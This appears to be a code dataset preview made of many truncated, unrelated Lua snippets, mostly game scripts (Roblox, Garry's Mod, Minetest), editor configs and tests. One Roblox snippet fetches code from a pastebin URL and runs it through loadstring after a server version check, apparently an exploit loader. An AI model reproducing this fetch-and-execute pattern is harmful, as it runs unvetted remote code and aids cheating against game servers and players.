content stringlengths 5 1.05M |
|---|
{{/*
Extremely simple and consise counting system.
Recommended trigger: Regex trigger with `.*` trigger limited to your counting channel.
*/}}
{{ deleteResponse 2 }}
{{ $input := toInt .Message.Content }}
{{ $current := dbIncr 0 "counting" 1 | toInt }}
{{ $lastCounter := "" }}
{{ with dbGet 0 "lastCounter" }} {{ $... |
--[[__ _
/ _| __ _ ___ ___ _ __ _ _ _ __ ___| |__
| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \
| _| (_| | (_| __/ |_) | |_| | | | | (__| | | |
|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_|
|_| 2012 --]]
local ActiveVideo = nil
VideoSettings = nil
... |
-- make changes here
local config = {
SEND_KEY = "SHJKDGKASJDHSKLADG&@%&DSKLJAHLBDKBA<SBD",
title = "RANDOM KILL LIST",
webaddress = "http://rkl.semklauke.de"
}
local voteFrame = {}
local function sendTraitorVote(vote)
if type(vote) == "boolean" then
net.Start("RKL_TraitorVoted")
net.... |
-- VARIABLES ===================================================================
local areaOfEffect = 5
local areaCollider = nil
origKDmg = 0
origDmgM = 0
origDmgR = 0
origIntAtk = 1.0
-- FUNCTIONS ===================================================================
function Constru... |
--[=[
@class GameConfigCommandServiceClient
]=]
local require = require(script.Parent.loader).load(script)
local GameConfigCmdrUtils = require("GameConfigCmdrUtils")
local Maid = require("Maid")
local RxStateStackUtils = require("RxStateStackUtils")
local Rx = require("Rx")
local GameConfigCommandServiceClient = {}... |
-- Auto-generated code below aims at helping you parse
-- the standard input according to the problem statement.
-- ---
-- Hint: You can use the debug stream to print initialTX and initialTY, if Thor seems not follow your orders.
-- lightX: the X position of the light of power
-- lightY: the Y position of the light of... |
local lu = require 'luaunit'
local headers = require 'http.headers'
local Request = require 'tulip.pkg.server.Request'
local Response = require 'tulip.pkg.server.Response'
-- Stream mocks a lua-http Stream object for tests.
local Stream = {__name = 'test.Stream', connection = {version = 1.1}}
Stream.__index = Stream
... |
local fileout = love.filesystem.newFile("programwalkout.txt","w")
programwalk = {}
local toPrint = false
function programwalk.start(outputMode)
if outputMode == "print" then
toPrint = true
end
debug.sethook(lineDebugFunction , "l")
end
function programwalk.stop()
debug.sethook()
fileout:close()
end
local ... |
--------------------------------------------------------------------------------
-- Init file for ESP8266 temperature sensor
-- AUTHOR: Jakub Cabal <jakubcabal@gmail.com>
-- LICENCE: The MIT License (MIT)
-- WEBSITE: https://github.com/jakubcabal/esp8266_temp_sensor
-----------------------------------------------------... |
--[[
diagram-generator – create images and figures from code blocks.
This Lua filter is used to create images with or without captions
from code blocks. Currently PlantUML, GraphViz, Tikz, and Python
can be processed. For further details, see README.md.
Copyright: © 2018-2020 John MacFarlane <jgm@berkeley.edu>,
... |
local configs = require 'lspconfig/configs'
local util = require 'lspconfig/util'
local server_name = "sqlls"
local root_pattern = util.root_pattern(".sqllsrc.json")
configs[server_name] = {
default_config = {
filetypes = {"sql", "mysql"};
root_dir = function(fname)
return root_pattern(fname) or vim.... |
if CLIENT then return end
ENT.Type = "brush"
function ENT:Initialize()
self:SetTrigger(true)
self.Entities = {}
end
function ENT:IsTouchedBy(ent)
return table.HasValue(self.Entities, ent)
end
function ENT:StartTouch(ent)
if not self:PassesTriggerFilters(ent) then return end
table.insert(self.Entities, ent)
... |
local table = require "loop.table"
local SortedMap = require "loop.collection.SortedMap"
local freenode = {
false, false, false, false, false,
false, false, false, false, false,
false, false, false, false, false,
false, false, false, false, false,
false, false, false, false, false,
false, false, false, false... |
function MainApp(root)
dofile(root .. "objects/CommonFunctions.lua")
dofile(root .. "objects/LoadPeripherals.lua")
dofile(root .. "objects/Communicator.lua")
dofile(root .. "GUI/GUIMessages.lua")
dofile(root .. "controller/DataController.lua")
dofile(root .. "programs/Configuration.lua")
self ... |
-- /home/jannis/Projekte/ReactorControl/reactor_control.lua
TURBINE_DEFAULT_FLUID_CONSUMPTION = 2000
TURBINE_MINIMUM_RUNTIME = 1800
REACTOR_MAX_TEMPERATURE = 500
REACTOR_MAX_FLUID_STORED = 14000
REACTOR_WAIT_POWERUP = 15
REACTOR_JUMP_THRESHOLD = 500
REACTOR_JUMP_HEIGHT = 5
local modem = peripheral.wrap("bottom")
mode... |
function EFFECT:Init( data )
local TargetEntity = data:GetEntity()
if ( !TargetEntity || !TargetEntity:IsValid() ) then return end
self.Entity:SetModel(TargetEntity:GetModel())
self.Entity:SetPos(TargetEntity:GetPos())
self.Entity:SetAngles(TargetEntity:GetAngles())
self.AV=255
end
/*----... |
local playsession = {
{"toddrofls", {539941}},
{"J-Put", {2580}},
{"rlidwka", {276780}},
{"TheLemur", {374892}},
{"liquidblue", {528196}},
{"HYPPS", {501484}},
{"Kamyk", {50257}},
{"Zymoran", {519141}},
{"facere", {470138}},
{"LeeFactor", {466659}},
{"paczcz", {443234}},
{"PogomanD", {333719}},
{"Mordalfus... |
-- p is percentage running from 0 to 1
-- $e is exression from easing
-- result is percentrage from 0 to 1
-- start easing at 80%, linear before
-- log and research that
flux.easing["quadout_edge"]=function(p)
p = 1-p -- out
-- linear first
if p>0.2 then
return 1-p
end
-- bug: this switch chages coor... |
local function swap_gate_node(pos,name,dir)
local node = core.get_node(pos)
local meta = core.get_meta(pos)
local meta0 = meta:to_table()
node.name = name
node.param2=dir
core.set_node(pos,node)
meta:from_table(meta0)
end
local function addGateNode(gateNodes, pos)
gateNodes[#gateNodes+1] = vector.new(pos)
end
... |
-----------------------------------------------------------------------------
-- Defines functions for searching Saci data.
--
--
-- (c) 2007, 2008 Yuri Takhteyev (yuri@freewisdom.org)
-- License: MIT/X, see http://sputnik.freewisdom.org/en/License
----------------------------------------------------------------------... |
local class = require('class')
local itemDB = require('itemDB')
local Util = require('util')
local device = _G.device
local Adapter = class()
function Adapter:init(args)
if args.side then
local inventory = device[args.side]
if inventory then
Util.merge(self, inventory)
end
end
end
functi... |
-----------------------------------
-- Ability: Activate
-- Calls forth your automaton.
-- Obtained: Puppetmaster Level 1
-- Recast Time: 0:20:00 (0:16:40 with full merits)
-- Duration: Instant
-----------------------------------
require("scripts/globals/settings")
require("scripts/globals/status")
require("scripts/glo... |
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.UI.Visible = not script.Parent.Parent.UI.Visible
end) |
AddCSLuaFile()
AddCSLuaFile("sh_sounds.lua")
include("sh_sounds.lua")
SWEP.magType = "pistolMag"
SWEP.PrintName = "Ruger Mk3"
CustomizableWeaponry:registerAmmo(".22LR", ".22LR Rounds", 5.6, 15.6)
if CLIENT then
SWEP.DrawCrosshair = false
SWEP.CSMuzzleFlashes = true
SWEP.IconLetter = "y"
killicon.Add( "khr_... |
require("rrpg.lua");
local __o_rrpgObjs = require("rrpgObjs.lua");
require("rrpgGUI.lua");
require("rrpgDialogs.lua");
require("rrpgLFM.lua");
require("ndb.lua");
function newfrmAMZ2_3_1()
__o_rrpgObjs.beginObjectsLoading();
local obj = gui.fromHandle(_obj_newObject("form"));
local self = obj;
local s... |
local config = require("sshfs.config")
local M = {}
M.commands = {
getAllHosts = "cat $HOME/.ssh/config",
getAllConnections = "mount -t fuse.sshfs",
unmountFolder = function(path)
return "fusermount -u " .. path
end,
mountHost = function(params)
params.dflt_path = params.dflt_path or "/" --optinal arg
para... |
----------------------------
-- SSBase --
-- Created by Skeyler.com --
----------------------------
include('shared.lua')
language.Add("ent_smokegrenade", "Grenade")
function ENT:Initialize()
self.Bang = false
end
function ENT:Draw()
self.Entity:DrawModel()
end
function ENT:Think()
if (self.Ent... |
local LrDialogs = import 'LrDialogs'
require 'Category'
require 'Base'
Categories = Base:new({
categories = {}
})
function Categories.convertCategories(node)
categories = Categories:new()
local count = node:childCount()
for i = 1, count do
Category.convertCategory( node:childAtIndex( i ), categories... |
local _eosLoaded, _eos = pcall(require, "eli.os.extra")
local _util = require "eli.util"
local _os = {
---#DES os.EOS
---
---@type boolean
EOS = _eosLoaded
}
return _eosLoaded and _util.merge_tables(_os, _eos) or _os |
SRL={{["Angles"]=Angle(0,0,0),["Position"]=Vector(-886.51391601563,54.708332061768,0.03125),["Class"]="pb_spawn"},{["Angles"]=Angle(0,0,0),["Position"]=Vector(112.20214080811,284.85668945313,160.03125),["Class"]="prop_blocker"},{["Angles"]=Angle(0,0,0),["Position"]=Vector(76.758613586426,284.42376708984,160.03125),["Cl... |
philosopherConvoTemplate = ConvoTemplate:new {
initialScreen = "init",
templateType = "Lua",
luaClassHandler = "philosopherConvoHandler",
screens = {}
}
init = ConvoScreen:new {
id = "init",
leftDialog = "", -- Determined and set by convo handler
stopConversation = "true",
options = {}
}
philosopherConvoTempla... |
---@class LuaTimedAction : zombie.characters.CharacterTimedActions.LuaTimedAction
---@field _table KahluaTable
---@field public statObj Object[]
LuaTimedAction = {}
---Overrides:
---
---update in class BaseAction
---@public
---@return void
function LuaTimedAction:update() end
---Overrides:
---
---start in class BaseA... |
if tostring(game.RobloxReplicatedStorage.GetServerVersion:InvokeServer()) == "0.395.0.324413" then
loadstring(game:HttpGet("https://pastebin.com/raw/Mjryt8Mm"))()
else
warn("Patched")
end |
-- Functions:
-------------------------------------------------------
function model.readInfo()
-- Read all the data stored in the model
local data=sim.readCustomDataBlock(model.handle,model.tagName)
if data then
data=sim.unpackTable(data)
else
data={}
end
-- All the data store... |
local fs = require('foundation.fs').fs
function entries(path)
end
return {
entries = entries
}
|
local lfs = require 'lfs'
local cjson = require 'cjson.safe'
local app_port = require 'app.port'
local app_base = require 'app.base'
local pair_serial = require 'pair_test.serial'
local pair_ms = require 'pair_test.master_slave'
local pair_pp = require 'pair_test.ping_pong'
--- 注册对象(请尽量使用唯一的标识字符串)
local app = app_base... |
return {
_type_ = 'DesignDrawing',
id = 1110020011,
learn_component_id = {
1020609024,
},
} |
CAMI.RegisterPrivilege({
Name = "Helix - Ability to set needs",
MinAccess = "admin"
})
properties.Add("ixSetPrimaryNeeds.Nourishment", {
MenuLabel = "#Set Nourishment",
Order = 450,
MenuIcon = "icon16/cake.png",
Filter = function(self, entity, client)
return CAMI.PlayerHasAccess(client, "Helix - Ability to s... |
dofile("./common.lua")
dofile("./cel-tools.lua")
dofile("./layer-tools.lua")
function init(plugin)
-- if app.version <= Version("1.2.0") then
-- return
-- end
------------------------------------------------------------------------------
-- Cels Popup Menu
------------------------... |
-- -*- mode: lua; tab-width: 2; indent-tabs-mode: 1; st-rulers: [70] -*-
-- vim: ts=4 sw=4 ft=lua noet
---------------------------------------------------------------------
-- @author Daniel Barney <daniel@pagodabox.com>
-- @copyright 2014, Pagoda Box, Inc.
-- @doc
--
-- @end
-- Created : 20 Nov 2014 by Daniel Barney... |
--- A sample program that uses the scheduler to do stuff.
--require "strict"
--look for packages one folder up.
package.path = package.path .. ";;;../../?.lua;../../?/init.lua"
local lumen = require 'lumen'
local sched = lumen.sched
local selector = require 'lumen.tasks.selector'.init({service='nixio'})
local proxy =... |
local defs = require("usb_defs")
local format = string.format
local function hex2(v) return format("0x%02x", v) end
local function hex4(v) return format("0x%04x", v) end
--============================================
local function errorDescStr(d, ix)
local t = {}
t[#t + 1] = "S"
t[#t + 1] = format("Undeciphe... |
require'nvim-treesitter.configs'.setup {
ensure_installed = "maintained",
sync_install = true,
highlight = {
enable = true
},
incremental_selection = {
enable = true
},
textobjects = {
enbale = true
}
}
|
--[[
Copyright (c) 2009-2016, Hendrik "Nevcairiel" Leppkes < h.leppkes@gmail.com >
All rights reserved.
]]
local Mapster = LibStub("AceAddon-3.0"):GetAddon("Mapster")
local L = LibStub("AceLocale-3.0"):GetLocale("Mapster")
local MODNAME = "GroupIcons"
local GroupIcons = Mapster:NewModule(MODNAME, "AceEvent-3... |
SEND_BANKRUPT_CONFIG = 0x0005; --获取破产数据信息
RESPONSE_BANKRUPT_CONFIG = 0x0006; --回复用户破产数据信息请求
SEND_BANKRUPT_MONEY = 0x0009; --用户请求破产
RESPONSE_BANKRUPT_MONEY = 0x0010; --返回用户破产请求
SEND_BANKRUPT_COUNT = 0x0015; --用户请求获取破产次数
RESPONSE_BANKRUPT_COUNT = 0x0016; --返回用户破产次数 |
--[[
Name: "cl_locker.lua".
Product: "HL2 RP".
--]]
local PANEL = {};
-- Called when the panel is initialized.
function PANEL:Init()
self:SetTitle("Locker");
self:SetBackgroundBlur(true);
self:SetDeleteOnClose(false);
-- Called when the button is clicked.
function self.btnClose.DoClick(button)
self:Close(); ... |
-- A float-valued setting with optional upper and lower bounds.
local Float = require('settings.Raw'):subclass {
min = -math.huge;
max = -math.huge;
}
function Float:set(val)
val = tonumber(val)
if not val then return end
self.value = val:bound(self.min, self.max)
return self.value
end
return Float
|
#!/usr/bin/env tarantool
box.cfg {
listen = os.getenv('TARANTOOL_PORT')
}
box.schema.user.create(os.getenv('TARANTOOL_USER_NAME'), {
password = os.getenv('TARANTOOL_USER_PASSWORD'),
if_not_exists = true
})
box.schema.user.grant(os.getenv('TARANTOOL_USER_NAME'), 'read,write,execute', 'universe', nil, { if... |
return {
talon_clone_lab = {
acceleration = 0,
brakerate = 0,
buildangle = 1024,
buildcostenergy = 1050,
buildcostmetal = 485,
builder = true,
buildinggrounddecaldecayspeed = 3000,
buildinggrounddecalsizex = 5,
buildinggrounddecalsizey = 4,
buildinggrounddecaltype = "talon_clone_lab_aopla... |
loadstring([[
--~transiate~--
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='666 666 6... |
CompMod:ChangeTech(kTechId.BuildTunnelEntryOne, {[kTechDataMaxExtents] = Vector(1.2, 0.3, 1.2)})
CompMod:ChangeTech(kTechId.BuildTunnelEntryTwo, {[kTechDataMaxExtents] = Vector(1.2, 0.3, 1.2)})
CompMod:ChangeTech(kTechId.BuildTunnelEntryThree, {[kTechDataMaxExtents] = Vector(1.2, 0.3, 1.2)})
CompMod:ChangeTech(kTechId.... |
-- Copyright (c) Sony Computer Entertainment America LLC.
-- All rights Reserved.
--
-- Dependencies
--
include "lua-5.1.4.lua"
--
-- Premake build script for the lua 5.1.4 library
--
sdk_project "lua-5.1.4_compiler"
sdk_build_location ".."
sdk_kind "ConsoleApp"
configurations { sdk.DEBUG, sdk.RELEASE }
platf... |
super = require("puremvc.patterns.mediator.Mediator")
---@class Framework.core.mvc.GameMediator:Mediator
GameMediator = class("Framework.core.mvc.GameMediator", super)
GameMediator.NAME = ""
function GameMediator:ctor()
self.class.NAME = self.__cname
super.ctor(self, self.__cname)
end
function GameMediator:sh... |
require 'animation'
local imageFile
local frames = {
bike = {
side = 44,
up = 144,
down = 119
},
biking = {
side = 169,
up = 19,
down = 194
},
stand = {
side = 218,
up = 94,
down = 69
},
walk = {
side = 293,
... |
set = {1, 1, 2, 2, 2, 2, 5, 5, 5, 5}
fact = lib.math.random_shuffle(set)
jimenilac = 1
for i = 1,4 do
jimenilac = jimenilac * fact[i]
end
if (jimenilac == 10 or jimenilac == 100) then
jimenilac = jimenilac * 2
end
if (jimenilac < 50) then
jbrojilac = jimenilac + math.random(50 - jimenilac)
else
j... |
local Serialization = {}
--# Constants
local MODULE_FORMAT = [[
-- This is an automatically generated Lua module. Take care when editing it.
return %s
]]
local TABLE_FORMAT = [[
{
%s
%s}]]
local TABLE_ITEM_FORMAT = '%s%s = %s,'
local INDENT_PREFIX = ' '
local KEY_TYPE_ERROR = 'unsupported key type %q'
local SCHE... |
local gc = Var "GameCommand";
local string_name = gc:GetText();
local string_expl = THEME:GetString(Var "LoadingScreen", gc:GetName() .. "Explanation");
local ColorTable = LoadModule("Theme.Colors.lua")( LoadModule("Config.Load.lua")("SoundwavesSubTheme","Save/OutFoxPrefs.ini") );
return Def.ActorFrame {
GainFocusComm... |
local host = arg[1] or '127.0.0.1'
local port = arg[2] or 514
local InitWriter = [[
return require 'log.writer.list'.new(
require 'log.writer.console'.new()
,require 'log.writer.net.udp'.new('%{udp_cnn_host}', %{udp_cnn_port})
,require 'log.writer.net.zmq'.new('%{zmq_cnn_host}')
)
]]
local... |
local map = {}
local tick_timer = 0
local tick_timer_max = 2
map.effect = false
if map.effect then
map.back = 0.9
map.front = 0.2
else
map.back = 1
map.front = 1
end
function map.load()
map.map = {}
for y=1, 25 do
if not map.map[y] then map.map[y] = {} end
for x=1, 40 do
local char = " "... |
slot0 = class("BackyardFurnitureVO")
slot0.FLOOR = 1
slot0.WALL_DIR_ALL = 2
slot0.WALL_DIR_RIGHT = 4
slot0.WALL_DIR_LEFT = 3
slot0.INTERACTION_LOOP_TYPE_ALL = 1
slot0.INTERACTION_LOOP_TYPE_LAST_ONE = 2
slot0.getWallDir = function (slot0)
if slot0.y - slot0.x >= 1 then
return BackYardConst.BACKYARD_WALL_DIR_LEFT
el... |
slot0 = class("WSAtlasBottom", import("...BaseEntity"))
slot0.Fields = {
rtBg = "userdata",
transform = "userdata",
btnBoss = "userdata",
btnOverview = "userdata",
btnCollection = "userdata",
rtButton = "userdata",
wsTimer = "table",
comSilder = "userdata",
twId = "number",
btnShop = "userdata"
}
slot0.EventU... |
#!/opt/local/bin/lua
local xml_ast = [=[<?xml version="1.0" encoding="UTF-8"?>
<ns1:basic_ast xmlns:ns1="http://test_example.com">hello world</ns1:basic_ast>]=]
mhf = require("schema_processor")
basic_ast = mhf:get_message_handler("basic_ast", "http://test_example.com");
local content, msg = basic_ast:from_xml(xml_... |
local t = Def.ActorFrame{};
local title = "NO!";
local SubTitle;
local Artist;
local charter={};
local BPM={"???","???"};
local Time;
local CEN;
if GAMESTATE:IsCourseMode() then
CEN = GAMESTATE:GetCurrentCourse():GetCourseEntries()
end
title = GAMESTATE:IsCourseMode() and GAMESTATE:GetCurrentCourse():GetDisplayFullTi... |
data:extend({
{
type = "string-setting",
setting_type = "runtime-per-user",
default_value = "red-green",
name = "wire-box-tool-mode",
allowed_values = { "red-green", "red-only", "green-only" },
}
}) |
--[[
Name: mailtruck.lua
For: TalosLife
By: TalosLife
]]--
local Job = {}
Job.ID = 7
Job.Enum = "JOB_MAIL"
Job.TeamColor = Color( 255, 100, 160, 255 )
Job.Name = "Carteiro"
Job.Cat = "Civis"
Job.Text = [[TEste de 1 linha
teste de 2 linhas
teste de 3 linhas
TEste de 1 linha
teste de 2 linhas
teste de 3 linhas
... |
function vRP.admin_coords(user_id)
if user_id and vRP.hasPermission(user_id, permissions.player.coords) then
return vRPclient.getPosition(user_id)
end
end
function vRP.admin_kick(user_id, target_id, reason)
if user_id and vRP.hasPermission(parseInt(user_id), permissions.player.kick) then
lo... |
local option = { }
local blips = { }
local vehicleData = { }
local sx, sy = guiGetScreenSize ( )
local rSX, rSY = sx / 1280, sx / 1024
local Vehicles = guiCreateWindow( (sx-(rSX*470))-5, (sy-(rSY*260))-5, rSX*466, rSY*260, "Vehicles", false)
local cars = guiCreateGridList((rSX*11), (rSY*28), (rSX*274), (rSY*220), false... |
require 'Scripts/premake-config'
settings = { }
settings.workspace_name = 'Razix'
settings.bundle_identifier = 'com.Pikachuxxx'
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
-- Current root directory where the global premake file is located
root_dir = os.getcwd()
-- Using the command line to get... |
-- Author: Neel Basak
-- Github: https:/github.com/Neelfrost
-- File: init.lua
-- Colorscheme
SCHEME = "nightlamp"
-- Language servers
SERVERS = { "pyright", "sumneko_lua", "omnisharp", "html", "cssls", "eslint", "emmet_ls" }
-- Treesitter parsers
PARSERS = { "comment", "python", "lua", "c_sharp", "html", "css", "ja... |
local nativeutils = {}
-- helpers for native rust libraries
local accesslog = require "lua.accesslog"
local log_request = accesslog.envoy_log_request
local cjson = require "cjson"
function nativeutils.trim(s)
return (string.gsub(s, "^%s*(.-)%s*$", "%1"))
end
function nativeutils.startswith(str, arg)
i... |
-- Shared GUI components for any interfaces (Concert and Androad)
local draw = require("OCX/OCDraw")
local width, height = require("driver").gpu.getResolution()
local lib = {}
function lib.getWidth()
return width
end
function lib.getHeight()
return height
end
function lib.lerp(t, a, b)
return t * b + (1 - t) * a... |
natures_bloom = {
cast = function(player)
local aethers = 625000
local magicCost = 200
if (not player:canCast(1, 1, 0)) then
return
end
if player.magic < magicCost then
player:sendMinitext("Your will is too weak.")
return
end
player:sendAction(6, 25)
player.magic = player.magic - magicCost
... |
--------------------------------
-- @module RelativeBox
-- @extend Layout
-- @parent_module ccui
--------------------------------
-- @overload self, size_table
-- @overload self
-- @function [parent=#RelativeBox] create
-- @param self
-- @param #size_table size
-- @return RelativeBox#RelativeBox ret... |
<<<<<<< HEAD
----------------------------------------------------------------------------------------
--five.lua Creates object shaped like the number 5
----------------------------------------------------------------------------------------
local five = {
object = nil,
originalColor = { Red = 0, Green = 0, Bl... |
local _SYS = {}
-- ERRORS:
local er = require('lib/error')
_SYS = er.errify(_SYS, {
['E_CORE_PIDNOEXIST'] = 'No such PID',
['E_CORE_NOACTORS'] = 'All actors have halted',
['E_CORE_NOPIDS'] = 'PID count exhausted',
})
-- Host constants:
_SYS.HOST_OC = "OpenComputers"
_SYS.HOST_CC = "Com... |
local helper = require("thetto.lib.testlib.helper")
describe("git/status source", function()
before_each(helper.before_each)
after_each(helper.after_each)
it("can show status files", function()
helper.new_file("test_file")
helper.sync_open("git/status", {opts = {insert = false}})
assert.exists_pa... |
return require("lapis.db.postgres.model")
|
--[[
MIT License
Copyright (c) 2019 SotADB.info
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, ... |
distraction = {
link = sprite('zeldal.png'),
enemy = sprite('zeldae.png'),
}
function distraction:reset()
self.y = math.random(50, 800);
self.fear = nil
end
function distraction:draw(time)
local origtime = time;
time = math.floor(time * 5);
local x = -100 + time*50
local i = (time) % 4
local pos = { 0,... |
--
-- 用于在 Windows 系统下安装 Node.lua 运行环境,包括可执行文件及相关的 Lua 模块
-- Install the Node.lua runtime environment.
-- Include executables and related Lua module.
--
local luv = require('luv')
local lutils = require('lutils')
local function updatePackagePath()
local cwd = luv.cwd()
local path = package.path
path = path .. '... |
local beautiful = require("beautiful")
local textbox = require("wibox.widget.textbox")
local underline = require("widgets.underline")
local brightness_daemon = require("daemons.brightness")
local signal_name = brightness_daemon.signal_name
local brightness = {}
local function new(args)
local color = beautiful.w... |
-- Gets a msgpacked root and returns it as JSON
local mp = redis.call('GET', KEYS[1])
local v = cmsgpack.unpack(mp)
local js = cjson.encode(v)
return js |
local WORLD_WG = "Wintergrasp"
local WORLD_TB = "Tol Barad"
local BG_BFG = "The Battle for Gilneas"
local BG_TP = "Twin Peaks"
local BG_AB = "Arathi Basin"
local BG_WG = "Warsong Gulch"
local BG_WGA = "Silverwing Hold"
local BG_WGH = "Warsong Lumber Mill"
local BG_EOTS = "Eye of the Storm"
local BG_AV = "Alterac Valley... |
#!/usr/local/bin/lua
site={};
site["key"] = "www.lua.org";
print(site["key"]);
print(site.key);
print(site[1]);
|
local modpath = minetest.get_modpath("mcl_small_3d_plants")
--
-- 3D Carrots
--
for i=1, 7 do
local texture, sel_height
if i < 3 then
sel_height1 = -0.4375
texture = "farming_carrot_1.png"
texture1 = "mcl_small_3d_plants_carrot_1.png"
elseif i < 5 then
sel_height1 = -0.375
texture = "farming_carrot_2.png... |
--[[ ==========================================================================
Teleport.lua
========================================================================== ]]--
local _G = _G
local AddOnName, _ = ...
local AddOn = _G[AddOnName]
-- Libs
--local LibStub = _G.LibStub
--local L = LibStub("AceLocale-3.0"):G... |
require "util"
-- Belts lanes have 4 slots: yellow 36 ticks, red 18 ticks, blue 12 ticks
-- Ticks to clear a slot 9, 4.5, 3
-- Splitters/underground 2 slots: need twice the tick rate
-- Red splitter/underground do some magic -- cuase technically they should have a gap
-- Should take 9 ticks for 2 items to clear... |
local PlayerStorage = require(game:GetService("ServerScriptService").Server:WaitForChild("PlayerStorage"))
local GuiSystem = require(game:GetService("ServerScriptService").Server:WaitForChild("GuiSystem"))
local CregicalSystem = require(game:GetService("ServerScriptService").Server:WaitForChild("CregicalSystem")) -- De... |
if #arg == 0 then
io.write[[
Creates a Makefile to build the DDLParser library as well as a test, template
based code generator.
Usage: lua createmk.lua <platform> [ -I path ]... [ -L path ]...
Where <platform> can be mingw, linux, msvc-x86 or msvc-x64. If your Lua and
AStyle development files are not in th... |
--[[
chaos in a leaking faucet
time between drips is modeled with a logistic map
--]]
require "include/protoplug"
t = 0
r = 1
speed = 1
state = 0.1
interval = 0
function plugin.processBlock(s, smax)
for i = 0,smax do
local out = 0
t = t + 1
if(t > interval) then
t = t - inter... |
local function lprint(...)
local str = ""
for i = 1, select("#", ...) do
local c = select(i, ...)
if c == "" then c = "#" end
if i == 1 then
str = c
else
str = str .. " " .. c
end
end
debug_print(str)
return str
end
local function ltype(...)
local str = ""
for i = 1, select("#", ...) do
if i =... |
META="Mod4+"
ALTMETA=""
ioncore.set{
dblclick_delay=250,
kbresize_delay=15000,
}
ioncore.set{
opaque_resize=true,
warp=true
}
dopath("cfg_defaults")
dopath("cfg_notioncore")
dopath("cfg_kludges")
dopath("cfg_layouts")
ioncore.defshortening("[^:]+: (.*)(<[0-9]+>)", "$1$2$|$1$<...$2")
dopath("mod_query")
... |
Locales['es'] = {
['invoices'] = 'Facturas',
['invoices_item'] = '%s$',
['received_invoice'] = 'Has ~r~recibido~s~ una multa',
['paid_invoice'] = 'Has ~g~pagado~s~ una multa de ~r~%s$~s~',
['no_invoices'] = 'No tienes ninguna factura para pagar en este momento',
['received_payment'] = 'Has ~g~recibido~s~ un... |
local addon, ns = ...
local cfg = ns.cfg
if not cfg.embeds.rChat then return end
FloatingChatFrame_OnMouseScroll = function(self, dir)
if(dir > 0) then
if(IsShiftKeyDown()) then
self:ScrollToTop()
else
self:ScrollUp()
end
else
if(IsShiftKeyDown()) then
self:ScrollToBottom()
els... |
--[[
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
The version of the OpenAPI document: 20220523
Generated by: https://openapi-generator.tech
]]
--[[
Unit tests for openapiclient.api.contest_effect_api
Automatically generated by openapi-generator (... |
function foo(a,b,c)
return a,b,c
end
function bar(a, ...)
print(a); return ...
end
local x,y,z = bar("aaaa",foo())
print(x,y,z)
|
local spawnPositions = {
{1284.7861328125,-781.845703125,1084.0078125,89.691009521484},
{1263.892578125,-769.5361328125,1084.0078125,85.933624267578},
{1249.8505859375,-788.9677734375,1084.0078125,183.69694519043},
{1265.8759765625,-795.158203125,1084.0078125,355.23461914062},
{1283.2607421875,-788.9775390625,1084.0148... |
local K, C, L, _ = select(2, ...):unpack()
if C.Tooltip.Enable ~= true or C.Tooltip.ArenaExperience ~= true then return end
local _G = _G
local format = string.format
local pairs, tonumber = pairs, tonumber
local select = select
local CreateFrame = CreateFrame
local InCombatLockdown = InCombatLockdown
local Achieveme... |
--(Luc Bloom) http://lua-users.org/wiki/SimpleRound
---@param v number
---@return number
function math.sign(v)
return (v >= 0 and 1) or -1
end
--(Luc Bloom) http://lua-users.org/wiki/SimpleRound
---@overload fun(v:number):number
---@param v number
---@param bracket number
---@return number
function math.round(v, b... |
---@generic K
---@param a K
---@param b table<K, K>
---@return K
function globalFunction(a, b)
---@type K
local genericTypedVar = a
return genericTypedVar
end
---@generic K
---@param a K
---@param b table<K, K>
---@return K
local function localFunction(a, b)
---@type K
local genericTypedVar = a
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.